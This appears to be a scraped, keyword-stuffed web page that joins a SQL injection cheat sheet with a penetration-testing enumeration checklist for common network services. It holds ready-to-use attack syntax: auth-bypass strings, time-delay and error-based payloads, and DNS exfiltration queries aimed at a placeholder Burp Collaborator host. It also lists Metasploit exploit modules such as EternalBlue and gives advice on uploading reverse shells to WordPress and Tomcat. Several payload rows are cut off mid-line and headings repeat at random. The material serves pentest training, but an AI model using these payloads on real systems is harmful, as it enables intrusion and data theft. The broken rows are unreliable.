Sql Injection Cheat Sheet Github

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This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

  1. Sql Injection Cheat Sheet Github
  2. Union Sql Injection Cheat Sheet Github
  3. Oracle Sql Injection Cheat Sheet

You can concatenate together multiple strings to make a single string.

GitHub Gist: instantly share code, notes, and snippets. GitHub Gist: instantly share code, notes, and snippets. 0x01 basic sqlinjection cheat sheet 0x01 basic: Check the current database version: VERSION @@ VERSION. Use sql injection can import export. February 28th, 2021 sql injection cheat sheet github.

databaseexample
Oracle`’foo’
Microsoft'foo'+'bar'
PostgreSQL`’foo’
MySQL'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

Sql Injection Cheat Sheet Github

You can use comments to truncate a query and remove the portion of the original query that follows your input.

databaseexample
Oracle--comment
Microsoft--comment
/*comment*/
PostgreSQL--comment
/*comment*/
MySQL#comment
-- comment [Note the space after the double dash]
/*comment*/

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

databaseexample
OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

You can list the tables that exist in the database, and the columns that those tables contain.

databaseexample
OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

You can test a single boolean condition and trigger a database error if the condition is true.

databaseexample
OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

databaseexample
OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLDoes not support batched queries.

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

databaseexample
Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT sleep(10)

You can test a single boolean condition and trigger a time delay if the condition is true.

databaseexample
Oracle`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
Cheat

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

databaseexample
OracleThe following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges:SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoftexec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQLcopy (SELECT ') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQLThe following techniques work on Windows only:
LOAD_FILE('YOUR-SUBDOMAIN-HERE.burpcollaborator.neta')
SELECT ... INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

databaseexample
Oracle`SELECT extractvalue(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://‘
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree '//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a')
PostgreSQLcreate OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := ‘copy (SELECT ‘’’’) to program ‘’nslookup ‘
MySQLThe following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'

SQL注入在不同数据库的表现,可表现在这些方面:

  • String concatenation 字符串连接
  • Comments 注释
  • Database version 数据库版本的查询
  • Database contents 数据库内容的查询
  • Conditional errors 条件错误
  • Batched (or stacked) queries 批量查询
  • Time delays 时间延迟
  • Conditional time delays 有条件的时间延迟
  • DNS lookup DNS查询
    DNS lookup with data exfiltration 使用数据泄露进行DNS查找

I create my own checklist for the first but very important step: Enumeration.

Resources

  • Useful exploits: https://github.com/jivoi/pentest

Port 80/443/8000/8080 - HTTP

Web page

  • Open the web page, check http/https, check certificates to get users/emails

  • Click the plugin Wappalyzer to check web service & programming languages

  • Check robots.txt to get hidden folders: curl -i $IP/robots.txt

  • Run nikto -h $IP -p $PORT

  • Click all the links on the web page & always view page sources (Ctrl + u), focusing on href, comments or keywords like password, login , upload…

  • If directory Allow: PUT, try to upload text file then reverse shell through it

  • Get folders/files

  • Download suspicious images & check: exiftool $IMG, strings $IMG, xxd $IMG, steghide, binwalk $IMG

  • For open-source services, could download the codes and browse files to have better understanding on their functionalities, parameters, …

  • Searchsploit for every service, software version

  • Check path traversal on Linux and on Windows

Login forms

  • Check common creds: admin/admin, admin/password, root/root, administrator/?, guest/guest …

  • Search default creds of the web service on Google, documentations or usages (default users: admin, root, root@localhost …)

  • Capture http-post-form using BurpSuite

  • Brute-force with wfuzz using SecLists’s passwords (tut)

SQL injection

  • First try ', 1' or '1'='1-- -, ' or '1'='1-- -, ' or 1=1-- -

Tutorials

  • Cheat sheet: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

  • http://www.thegreycorner.com/2017/01/exploiting-difficult-sql-injection.html

  • Blind SQL injection

    • HTB-Falafel: write Python script to brute force admin’s password

  • HTB-Charon: change UNION to UNIoN to bypass the filter, bash script to enumerate a large number of rows in a table to get interesting creds

  • MariaDB

    • HHC2016 - Analytics: play with Burp Sequencer to capture the Cookies
  • Oracle SQL
    • Tutorial: http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html
    • https://www.doyler.net/security-not-included/oracle-command-execution-sys-shell
    • Cheat sheet: http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
  • MSSQL (Stacked Query)

    • https://www.exploit-db.com/papers/12975

    • https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/?_ga=2.122859595.1915973150.1589228589-1090418158.1589228589

    • http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

    • https://webcache.googleusercontent.com/search?q=cache:KtfxjonYw58J:https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/+&cd=1&hl=en&ct=clnk&gl=frhttp://www.securityidiots.com/Web-Pentest/SQL-Injection/MSSQL/MSSQL-Error-Based-Injection.html

    • https://gracefulsecurity.com/sql-injection-cheat-sheet-mssql/

    • Using xp_cmdshell:

      • https://github.com/xMilkPowderx/OSCP/blob/master/SQLi.md, https://github.com/garyhooks/oscp/blob/master/REFERENCE/mssql.md
      • HTB-Fighter

    • Bypass filters: https://portswigger.net/support/sql-injection-bypassing-common-filters

    • sqhs

  • MySQL
    • Cheat sheet, https://gracefulsecurity.com/sql-injection-cheat-sheet-mysql/
    • VH-DC 9: tut

  • SQL Out-of-band exploitation

    • (https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)
    • HTB-Giddy

  • NoSQL

    • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
    • HTB-Mango

LFI/RFI

  • Use Nikto, which will sometimes return LFI/RFI

  • Use Nmap’s HTTP NSE scripts

  • Check version names of the known CMS with know vulnerabilities, then simply Googling the version or whatever identifiable information

  • Bruteforce for directories and files, if PHPINFO() is present, check for allow_url and other indicators

  • If all else fails, fuzz parameter passings. Try to understand what the application is doing, many times it’s obvious that the parameter is looking for another file, like to a webpage; I.e: whatever.php?=home // this is looking to grab “home” which is likely a file stored locally. Try removing the value home, see how the server reacts. Try to read local files you know should exist on the file, depending on the OS maybe /etc/passwd for Linux and boot.ini for Windows. Use PHP wrappers such as php://filter/convert.base64-encode/resource=index to try to read the actual file whatever.php’s source code. This will convert it to base64 to prevent execution via the webserver. Decode it and you get the source code. Watch verbose error messages

Tutorials

  • https://0ff5ec.com/lfi-rfi/
  • https://highon.coffee/blog/lfi-cheat-sheet/#how-to-get-a-shell-from-lfi
  • https://www.hackingarticles.in/5-ways-exploit-lfi-vulnerability/
  • https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601

PHP

  • phpLiteAdmin: VH-Zico2
  • Simple PHP Blog (sphpblog): VH-PwnOS

Wordpress

  • Brute-force http://$IP/wp-admin, http://$IP/wp-login.php

  • Metasploit

    • brute-force: msf > use auxiliary/scanner/http/wordpress_login_enum

  • Check http://$IP/wp-content/themes, http://$IP/wp-content/uploads

  • Possible attack vectors:
    • After login, upload php reverse shell in 404.php of a theme (wp-content/themes/twentynineteen/404.php)
    • msf > use exploit/unix/webapp/wp_admin_shell_upload
    • Upload malicious plugins in zip

  • Check interesting files: /var/www/wp-config.php

  • Check plugins’ vulnerability

    • WordPress Plugin User Role Editor (https://www.exploit-db.com/exploits/44595): THM-Jack

Writeups

  • Upload shell: VH-Stapler, VH-Mr. Robot
  • ReFlex Gallery plugin: VH-Web Developer 1
  • Activity Monitor plugin: VH-DC06

Joomla

  • Joomla 3.7.0 SQLi: https://github.com/XiphosResearch/exploits/tree/master/Joomblah

Drupal

  • Check /CHANGELOG.txt for Drupal version

  • Find endpoint_path and Services Endpoint

  • Attack vectors:

    • Drupal 7.x Module Services - Remote Code Execution
    • Drupalgeddon2 (March 2018): exploit
    • Drupalgeddon3 (April 2018): exploit

Tutorials

Writeups

  • Drupal v7.54: HTB-Bastard
  • VH-DC1

Apache Tomcat

  • Try default creds in /manager: (tomcat/s3cret)
  • Deploy reverse shell in WAR format

Writeups

WebDAV

Port 21 - FTP

  • nmap scripts in /usr/share/nmap/scripts/

  • searchsploit FTP version

  • Metasploit

    • Check version: msf> use auxiliary/scanner/ftp/ftp_version
    • Anonymous login: msf> use auxiliary/scanner/ftp/anonymous
    • Brute-force: msf> use auxiliary/scanner/ftp/ftp_login

  • Brute-force with hydra

  • Check whether we can upload a shell, if so how to trigger the shell

  • Examine configuration files: ftpusers, ftp.conf, proftpd.conf

Tutorials

  • https://hackercool.com/2017/07/hacking-ftp-telnet-and-ssh-metasploitable-tutorials/

Very Secure FTP Daemon (vsftpd)

Writeups

  • v2.3.4 exploit

    • HTB-Lame, HTB-LaCasaDePapel

ProFTPd

Tutorials

  • https://hackercool.com/2020/03/hacking-proftpd-on-port-2121-and-hacking-the-services-on-port-1524/

Port 22 - SSH

  • Banner grab: telnet $IP 22

  • Try weak creds & Brute-force (exploitable in case of a very old version)

  • Crack passwords with john

  • Examine configuration files: ssh_config, sshd_config, authorized_keys, ssh_known_hosts, .shosts

  • Proxychains

  • RSA tool for ctf: useful for decoding passwords

  • SSH with id_rsa of a user

Tutorials

  • https://community.turgensec.com/ssh-hacking-guide/

Port 23 - Telnet

Sql Injection Cheat Sheet Github
  • Examine configuration files: /etc/inetd.conf, /etc/xinetd.d/telnet, /etc/xinetd.d/stelnet

Writeups

Port 25 - SMTP

  • Connect

  • nmap scripts

  • Run smtp-user-enum

  • User enumeration (RCPT TO and VRFY) using iSMTP

  • Metasploit

    • Search valid users: use auxiliary/scanner/smtp/smtp_enum

Tutorials

  • https://hackercool.com/2017/06/smtp-enumeration-with-kali-linux-nmap-and-smtp-user-enum/

Writeups

  • JAMES smtpd 2.3.2: HTB-SolidState
  • Enumeration: HTB-Reel
  • Postfix Shellshock: exploit

Port 135, 136, 137, 138, 139 - Network Basic Input/Output System (NetBIOS)

Tutorials

  • https://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/

Port 445 - SBM

  • nmap scripts

  • Find directories/files using wordpress’s wordlist

  • Enumerate with enum4linux

  • Enumerate samba share drives with smbmap

  • Get files recursively from the shared folder

  • smbclient (http://www.madirish.net/59)

  • rpcclient

  • Mount shared folders

  • Metasploit

    • msf> use auxiliary/scanner/smb/smb2
    • msf> use auxiliary/scanner/smb/smb_version
    • msf> use auxiliary/scanner/smb/smb_enumshares
    • msf> use auxiliary/scanner/smb/smb_enumusers
    • msf> use auxiliary/scanner/smb/smb_login
    • msf> use exploit/windows/smb/smb_delivery
    • EternalBlue (MS17-010): msf> use exploit/windows/smb/ms17_010_eternalblue
    • msf > use auxiliary/admin/smb/samba_symlink_traversal
    • SambaCry CVE-2017-7494: msf> use exploit/linux/samba/is_known_pipename

Tutorials

  • https://medium.com/@arnavtripathy98/smb-enumeration-for-penetration-testing-e782a328bf1b
  • https://hackercool.com/2016/07/smb-enumeration-with-kali-linux-enum4linuxacccheck-smbmap/
  • https://www.hackingarticles.in/penetration-testing-in-smb-protocol-using-metasploit/
  • https://www.hackingarticles.in/multiple-ways-to-connect-remote-pc-using-smb-port/
  • https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/

Writeups

Union sql injection cheat sheet github
  • MS-08-067, MS-17-010: HTB-Legacy

Union Sql Injection Cheat Sheet Github

Ports 512, 513, 514 - Rexec & Rlogin

Tutorials

  • https://hackercool.com/2020/03/hacking-rexec-and-rlogin-services-on-ports-512-513-and-514/

Extra Resources

  • https://resources.infosecinstitute.com/what-is-enumeration/

Port 3306 - MySQL

Oracle Sql Injection Cheat Sheet

  • Connect the database

  • Decode passwords

  • Running as root: raptor_udf2 exploit, Lord of the Root CTF

Port 3389 - Remote Desktop Protocol (RDP)